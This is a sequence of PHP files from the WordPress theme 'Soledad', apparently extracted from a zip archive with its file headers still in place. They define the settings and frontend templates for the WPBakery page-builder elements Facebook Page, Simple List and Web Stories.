	$css_custom .= $block_id . ' .pcab-abox .title-bar:after{background-color:' . $settings['heading-line-color'] . ';}';
}
if ( $settings['heading-line-spacing'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar{padding-bottom:' . $settings['heading-line-spacing'] . 'px;}';
}
if ( $settings['heading-line-w'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar:after{width:' . $settings['heading-line-w'] . 'px!important;}';
	$css_custom .= $block_id . ' .pcab-abox .title-bar.align-center:after{margin-left:calc(' . $settings['heading-line-w'] . 'px / 2 * -1)}';
}
if ( $settings['heading-line-h'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar:after{height:' . $settings['heading-line-h'] . 'px!important;}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => $block_id . '  .archive-box .page-title{ %s }',
) );
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\`  `  1  js_composer/shortcodes/facebook_page/settings.phpnu [        <?php
vc_map( array(
	'base'          => 'penci_facebook_page',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/facebook_page/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Facebook Page', 'soledad' ),
	'description'   => __( 'Facebook Page Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Facebook Page Title:', 'soledad' ),
				'param_name' => 'title_page',
				'std'        => esc_html__( 'Facebook', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Facebook Page URL:', 'soledad' ),
				'param_name'  => 'page_url',
				'admin_label' => true,
				'std'         => 'https://www.facebook.com/PenciDesign',
				'value'       => 'https://www.facebook.com/PenciDesign',
				'description' => esc_html__( 'EG. https://www.facebook.com/your-page/', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Facebook Page Height::', 'soledad' ),
				'param_name'  => 'page_height',
				'std'         => 290,
				'description' => esc_html__( 'This option is only applied when "Show Stream" option is checked', 'soledad' ),
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide Cover Image?', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'hide_cover',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide Faces?', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'hide_faces',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide Stream?', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'hide_stream',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Custom Language', 'soledad' ),
				'param_name'  => 'language',
				'admin_label' => true,
				'std'         => '',
				'value'       => '',
				'description' => __( 'Fill the language code to use on Facebook Page Box here( E.g: de_DE ). By default, the language will follow the site language. See more <a href="https://developers.facebook.com/docs/internationalization/" target="_blank">here</a>', 'soledad' ),
			)
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\Пp    1  js_composer/shortcodes/facebook_page/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$title_page          = $page_url = $page_height = $hide_faces = $hide_stream = $hide_cover = $language = $responsive_spacing = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );
if ( ! $language ) {
	$language = get_locale();
}
$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci_facebook_widget';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'counter_up' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <div id="fb-root"></div>
            <script data-cfasync="false">(function (d, s, id) {
                    var js, fjs = d.getElementsByTagName(s)[0];
                    if (d.getElementById(id)) return;
                    js = d.createElement(s);
                    js.id = id;
                    js.src = "//connect.facebook.net/<?php echo esc_attr( $language )?>/sdk.js#xfbml=1&version=v9.0";
                    fjs.parentNode.insertBefore(js, fjs);
                }(document, 'script', 'facebook-jssdk'));</script>
            <div class="fb-page"
                 data-href="<?php echo esc_url( $page_url ); ?>"<?php if ( (! 'yes' == $hide_stream || ! 'true' == $hide_stream) && is_numeric( $page_height ) && $page_height > 69 ): ?> data-height="<?php echo absint( $page_height ); ?>"<?php endif; ?>
                 data-small-header="false" data-hide-cover="<?php if ( 'yes' == $hide_cover || 'true' == $hide_cover ) {
				echo 'true';
			} else {
				echo 'false';
			} ?>" data-show-facepile="<?php if ( ! 'yes' == $hide_faces || ! 'true' == $hide_faces ) {
				echo 'true';
			} else {
				echo 'false';
			} ?>" data-show-posts="<?php if ( 'yes' == $hide_stream || 'true' == $hide_stream ) {
				echo 'false';
			} else {
				echo 'true';
			} ?>" data-adapt-container-width="true">
                <div class="fb-xfbml-parse-ignore"><a
                            href="<?php echo esc_attr( $page_url ); ?>"><?php if ( $heading ) {
							echo sanitize_text_field( $heading );
						} else {
							echo 'Facebook';
						} ?></a></div>
            </div>
        </div>
    </div>
<?php

$id_facebook_page = '#' . $block_id;
$css_custom       = Penci_Vc_Helper::get_heading_block_css( $id_facebook_page, $atts );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_facebook_page, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\K8'3  '3  /  js_composer/shortcodes/simple_list/settings.phpnu [        <?php

vc_map( array(
		'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Simple List', 'soledad' ),
		'base'          => 'penci_simple_list',
		'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/simple_list/frontend.php',
		'category'      => penci_get_theme_name( 'Soledad' ),
		'description'   => esc_html__( 'Display a list with icon', 'soledad' ),
		'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
		'weight'        => 700,
		'params'        => array(
			// General
			array(
				'type'             => 'textfield',
				'param_name'       => 'general_divider',
				'heading'          => esc_html__( 'General settings', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'List items font size', 'soledad' ),
				'param_name'       => 'size',
				'value'            => array(
					esc_html__( 'Default (14px)', 'soledad' )     => 'default',
					esc_html__( 'Medium (16px)', 'soledad' )      => 'medium',
					esc_html__( 'Large (18px)', 'soledad' )       => 'large',
					esc_html__( 'Extra Large (22px)', 'soledad' ) => 'extra-large',
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'Color scheme', 'soledad' ),
				'param_name'       => 'color_scheme',
				'value'            => array(
					esc_html__( 'Inherit', 'soledad' ) => '',
					esc_html__( 'Light', 'soledad' )   => 'light',
					esc_html__( 'Dark', 'soledad' )    => 'dark',
					esc_html__( 'Custom', 'soledad' )  => 'custom',
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text color', 'soledad' ),
				'param_name'       => 'text_color',
				'dependency'       => array(
					'element' => 'color_scheme',
					'value'   => array( 'custom' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text color hover', 'soledad' ),
				'param_name'       => 'text_color_hover',
				'dependency'       => array(
					'element' => 'color_scheme',
					'value'   => array( 'custom' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'Align', 'soledad' ),
				'param_name'       => 'align',
				'value'            => array(
					esc_html__( 'Left', 'soledad' )   => 'left',
					esc_html__( 'Center', 'soledad' ) => 'center',
					esc_html__( 'Right', 'soledad' )  => 'right',
				),
				'std'              => 'left',
				'edit_field_class' => 'vc_col-sm-6 vc_column title-align',
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'extra_divider',
				'heading'          => esc_html__( 'Extra settings', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			( function_exists( 'vc_map_add_css_animation' ) ) ? vc_map_add_css_animation( true ) : '',
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Extra class name', 'soledad' ),
				'param_name'  => 'el_class',
				'description' => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'soledad' ),
			),
			// List
			array(
				'type'       => 'param_group',
				'param_name' => 'list',
				'group'      => esc_html__( 'List', 'soledad' ),
				'params'     => array(
					array(
						'type'       => 'vc_link',
						'heading'    => esc_html__( 'Link', 'soledad' ),
						'param_name' => 'link',
					),
					array(
						'type'       => 'textarea',
						'heading'    => esc_html__( 'Content', 'soledad' ),
						'param_name' => 'list-content',
					),
				),
			),
			// Icon
			array(
				'type'             => 'textfield',
				'param_name'       => 'extra_divider',
				'heading'          => esc_html__( 'Icon settings', 'soledad' ),
				'value'            => '',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'dropdown',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'List type', 'soledad' ),
				'value'            => array(
					esc_html__( 'With icon', 'soledad' )    => 'icon',
					esc_html__( 'With image', 'soledad' )   => 'image',
					esc_html__( 'Ordered', 'soledad' )      => 'ordered',
					esc_html__( 'Unordered', 'soledad' )    => 'unordered',
					esc_html__( 'Without icon', 'soledad' ) => 'without',
				),
				'param_name'       => 'list_type',
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'dropdown',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'List style', 'soledad' ),
				'value'            => array(
					esc_html__( 'Default', 'soledad' ) => 'default',
					esc_html__( 'Rounded', 'soledad' ) => 'rounded',
					esc_html__( 'Square', 'soledad' )  => 'square',
				),
				'param_name'       => 'list_style',
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'icon', 'ordered', 'unordered' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'attach_image',
				'heading'          => esc_html__( 'Image', 'soledad' ),
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'param_name'       => 'image',
				'value'            => '',
				'description'      => esc_html__( 'Select image from media library.', 'soledad' ),
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'image' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Image size', 'soledad' ),
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'param_name'       => 'img_size',
				'description'      => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'image' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
				'description'      => esc_html__( 'Example: \'thumbnail\', \'medium\', \'large\', \'full\' or enter image size in pixels: \'200x100\'.', 'soledad' ),
			),
			array(
				'type'        => 'dropdown',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon library', 'soledad' ),
				'value'       => array(
					esc_html__( 'Font Awesome', 'soledad' ) => 'fontawesome',
					esc_html__( 'Open Iconic', 'soledad' )  => 'openiconic',
					esc_html__( 'Typicons', 'soledad' )     => 'typicons',
					esc_html__( 'Entypo', 'soledad' )       => 'entypo',
					esc_html__( 'Linecons', 'soledad' )     => 'linecons',
					esc_html__( 'Mono Social', 'soledad' )  => 'monosocial',
					esc_html__( 'Material', 'soledad' )     => 'material',
				),
				'param_name'  => 'icon_library',
				'description' => esc_html__( 'Select icon library.', 'soledad' ),
				'dependency'  => array(
					'element' => 'list_type',
					'value'   => 'icon',
				),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_fontawesome',
				'value'       => 'fa fa-adjust',
				'settings'    => array(
					'emptyIcon'    => false,
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'fontawesome',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_openiconic',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'openiconic',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'openiconic',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_typicons',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'typicons',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'typicons',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'       => 'iconpicker',
				'group'      => esc_html__( 'Icon', 'soledad' ),
				'heading'    => esc_html__( 'Icon', 'soledad' ),
				'param_name' => 'icon_entypo',
				'settings'   => array(
					'emptyIcon'    => false,
					'type'         => 'entypo',
					'iconsPerPage' => 4000,
				),
				'dependency' => array(
					'element' => 'icon_library',
					'value'   => 'entypo',
				),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_linecons',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'linecons',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'linecons',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_monosocial',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'monosocial',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'monosocial',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_material',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'material',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'material',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'             => 'colorpicker',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'Icons color', 'soledad' ),
				'param_name'       => 'icons_color',
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'icon', 'ordered', 'unordered' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'Icons color hover', 'soledad' ),
				'param_name'       => 'icons_color_hover',
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'icon', 'ordered', 'unordered' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'Icons background color', 'soledad' ),
				'param_name'       => 'icons_bg_color',
				'dependency'       => array(
					'element' => 'list_style',
					'value'   => array( 'rounded', 'square' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'Icons background color hover', 'soledad' ),
				'param_name'       => 'icons_bg_color_hover',
				'dependency'       => array(
					'element' => 'list_style',
					'value'   => array( 'rounded', 'square' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			// Style
			array(
				'type'       => 'css_editor',
				'heading'    => esc_html__( 'CSS box', 'soledad' ),
				'param_name' => 'css',
				'group'      => esc_html__( 'Design Options', 'soledad' ),
			),
			penci_get_vc_responsive_spacing_map(),
		),
	) );
PK     0w\|    /  js_composer/shortcodes/simple_list/frontend.phpnu [        <?php
$icon_fontawesome = $icon_openiconic = $icon_typicons = $icon_entypo = $icon_linecons = $icon_monosocial = $icon_material = $icon_library = $icons_color = $icons_bg_color = $image = $img_size = $color_scheme = $size = $align = $list = $list_type = $list_style = $el_class = $css_animation = $css = '';
$atts             = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if ( function_exists( 'vc_icon_element_fonts_enqueue' ) ) {
	vc_icon_element_fonts_enqueue( $icon_library );
}

$list_items = $img = '';

if ( function_exists( 'vc_param_group_parse_atts' ) ) {
	$list_items = vc_param_group_parse_atts( $list );
}

if ( empty( $list_items ) ) {
	return;
}

$list_id = 'penci-list-' . uniqid();

$icon_class = 'list-icon';
if ( $list_type == 'icon' ) {
	$icon_class .= ' ' . ${'icon_' . $icon_library};
}

$list_class = 'penci-list penci-wpb';
$list_class .= ' color-scheme-' . $color_scheme;
$list_class .= ' size-' . $size;
$list_class .= ' penci-list-type-' . $list_type;
$list_class .= ' penci-list-style-' . $list_style;
$list_class .= ' penci-justify-' . $align;
$list_class .= ( $el_class ) ? ' ' . $el_class : '';

if ( $list_style == 'rounded' || $list_style == 'square' ) {
	$list_class .= ' penci-list-shape-icon';
}
if ( function_exists( 'vc_shortcode_custom_css_class' ) ) {
	$list_class .= ' ' . vc_shortcode_custom_css_class( $css ) . $this->getCSSAnimation( $css_animation );
}

ob_start();

?>

    <ul class="<?php echo esc_attr( $list_class ); ?>" id="<?php echo esc_attr( $list_id ); ?>">
		<?php foreach ( $list_items as $item ) : ?>
			<?php
			if ( ! $item ) {
				continue;
			}

			if ( isset( $item['link'] ) ) {
				$link_attrs = penci_get_link_attributes( vc_build_link( $item['link'] ) );
			}

			?>
            <li>
	            <?php if ( isset( $item['link'] ) ) : ?>
                    <a class="penci-fill" <?php echo $link_attrs; ?>>
	            <?php endif; ?>
				<?php if ( $list_type != 'without' && $list_type != 'image' ) : ?>
                    <span class="<?php echo esc_attr( $icon_class ); ?>"></span>
				<?php elseif ( $list_type == 'image' ) : ?>
                    <span class="<?php echo esc_attr( $icon_class ); ?>">
							<?php if ( function_exists( 'wpb_getImageBySize' ) ) : ?>
								<?php
								echo wpb_getImageBySize(
									array(
										'attach_id'  => $image,
										'thumb_size' => $img_size,
										'class'      => 'list-image',
									)
								)['thumbnail'];
								?>
							<?php endif; ?>
						</span>
				<?php endif ?>
                <span class="list-content"><?php echo do_shortcode( $item['list-content'] ); ?></span>
				<?php if ( isset( $item['link'] ) ) : ?>
                    </a>
				<?php endif; ?>
            </li>
		<?php endforeach ?>
    </ul>
<?php
if ( ( $icons_color && ! penci_is_css_encode( $icons_color ) ) || ( $icons_bg_color && ! penci_is_css_encode( $icons_bg_color ) ) ) {
	$css = '#' . esc_attr( $list_id ) . ' .list-icon {';
	$css .= 'color: ' . esc_attr( $icons_color ) . ';';
	$css .= '}';

	if ( $list_style == 'rounded' || $list_style == 'square' ) {
		$css .= '#' . esc_attr( $list_id ) . ' .list-icon {';
		$css .= 'background-color: ' . esc_attr( $icons_bg_color ) . ';';
		$css .= '}';
	}

	wp_add_inline_style( 'penci-woocommerce', $css );

}
?>
<?php

echo ob_get_clean();
PK     0w\)If|  |  /  js_composer/shortcodes/web_stories/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_web_stories',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/web_stories/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Web Stories', 'soledad' ),
	'description'   => __( 'Show Google Web Stories', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_ptitle_1',
			'heading'          => esc_html__( 'Web Stories Query', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Query Type', 'soledad' ),
			'param_name'  => 'query_type',
			'value'       => array(
				esc_html__( 'All Stories', 'soledad' )    => 'all',
				esc_html__( 'Custom Stories', 'soledad' ) => 'custom',
			),
			'save_always' => true,
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Order By', 'soledad' ),
			'param_name'  => 'orderby',
			'value'       => array(
				''                                            => '',
				esc_html__( 'Date', 'soledad' )               => 'date',
				esc_html__( 'ID', 'soledad' )                 => 'id',
				esc_html__( 'Author', 'soledad' )             => 'author',
				esc_html__( 'Title', 'soledad' )              => 'title',
				esc_html__( 'Last modified date', 'soledad' ) => 'modified',
				esc_html__( 'Random order', 'soledad' )       => 'rand',
			),
			'save_always' => true,
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Order', 'soledad' ),
			'param_name'  => 'order',
			'value'       => array(
				''                              => '',
				esc_html__( 'DESC', 'soledad' ) => 'desc',
				esc_html__( 'ASC', 'soledad' )  => 'asc',
			),
			'save_always' => true,
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Stories Categories IDs', 'soledad' ),
			'param_name' => 'story_cat',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Stories Tags IDs', 'soledad' ),
			'param_name' => 'story_tag',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Stories Posts IDs', 'soledad' ),
			'param_name' => 'story_ids',
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Number of Stories', 'soledad' ),
			'param_name' => 'number',
			'value'      => 12,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Offset', 'soledad' ),
			'param_name' => 'offset',
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_ptitle_2',
			'heading'          => esc_html__( 'Layout Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Layout Type', 'soledad' ),
			'param_name'  => 'layout',
			'value'       => array(
				esc_html__( 'One Row', 'soledad' ) => 'onerow',
				esc_html__( 'Grid', 'soledad' )    => 'grid',
				esc_html__( 'Slider', 'soledad' )  => 'slider',
			),
			'save_always' => true,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Number of Columns', 'soledad' ),
			'param_name' => 'columns',
			'value'      => 12,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Custom Item Width', 'soledad' ),
			'param_name' => 'iwidth',
			'value'      => 100,
			'dependency' => array( 'element' => 'layout', 'value' => 'onerow' ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Columns Gap (px)', 'soledad' ),
			'param_name' => 'gap',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Story Title', 'soledad' ),
			'param_name'  => 'showtitle',
			'value'       => 'yes',
			'save_always' => true,
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Next/Prev Buttons', 'soledad' ),
			'param_name'  => 'nextprev',
			'value'       => 'yes',
			'save_always' => true,
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Current Stories Number', 'soledad' ),
			'param_name'  => 'pos',
			'value'       => 'yes',
			'save_always' => true,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Custom Images Border Radius (px)', 'soledad' ),
			'param_name' => 'iboradius',
			'value'      => '',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Ajax Loading Style', 'soledad' ),
			'param_name'  => 'ajax_loading_style',
			'value'       => [
				'Follow Customize' => 'df',
				'Style 1'          => 's9',
				'Style 2'          => 's2',
				'Style 3'          => 's3',
				'Style 4'          => 's4',
				'Style 5'          => 's5',
				'Style 6'          => 's6',
				'Style 7'          => 's1',
			],
			'save_always' => true,
		),

		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_ptitle_3',
			'heading'          => esc_html__( 'Web Stories Style', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Stories Borders Color', 'soledad' ),
			'param_name' => 'bd_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Stories Seen Borders Color', 'soledad' ),
			'param_name' => 'bd_scolor',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Stories Border Width (px)', 'soledad' ),
			'param_name' => 'bd_w',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Stories Inner Borders Color', 'soledad' ),
			'param_name' => 'bd_innercolor',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Stories Inner Border Width (px)', 'soledad' ),
			'param_name' => 'bd_iw',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Stories Title Color', 'soledad' ),
			'param_name' => 'color_title',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Stories Title Font Size (px)', 'soledad' ),
			'param_name' => 'title_fsize',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Stories Title Font Size (px)', 'soledad' ),
			'param_name' => 'title_fsize',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Story Title', 'soledad' ),
			'param_name' => 'use_ptitle_typo',
			'default'    => 'no',
			'std'        => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'ptitle_typo',
			'value'      => '',
			'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\+]>"  "  /  js_composer/shortcodes/web_stories/frontend.phpnu [        <?php
$atts     = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id = Penci_Vc_Helper::get_unique_id_block( 'web_stories' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>">
		<?php
		Penci_Vc_Helper::markup_block_title( $atts );
		if ( function_exists( 'penci_webstories' ) ) {
			penci_webstories( $atts );
		} else {
			echo '<p>Please install the <a target="_blank" href="https://wordpress.org/plugins/web-stories/">Google Web Stories</a> plugin to continue using this widget.</p>';
		}
		?>
    </div>
<?php
$block_id_selector = '#' . $block_id;
$block_id_selector2 = 'body:not(.pcdm-enable) #' . $block_id;
echo '<style>';
if ( $atts['columns'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-wstories-list.grid .pc-webstory-item{width:calc(100% / ' . $atts['columns'] . ')}';
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-wstories-list.slider:not(.penci-owl-loaded) .pc-webstory-item{width:calc(100% / ' . $atts['columns'] . ')}';
}
if ( $atts['iboradius'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-webstory-thumb-wrapper, '. $block_id_selector .' .pc-wstories-wrapper .pc-webstory-thumb{border-radius:' . $atts['iboradius'] . 'px;}';
}
if ( $atts['iwidth'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item{flex: 0 0 ' . $atts['iwidth'] . 'px;width:' . $atts['iwidth'] . 'px;}';
}
if ( $atts['title_fsize'] ) {
	echo $block_id_selector . ' .pc-webstory-item .pc-webstory-item-title h4{font-size:' . $atts['title_fsize'] . 'px}';
}
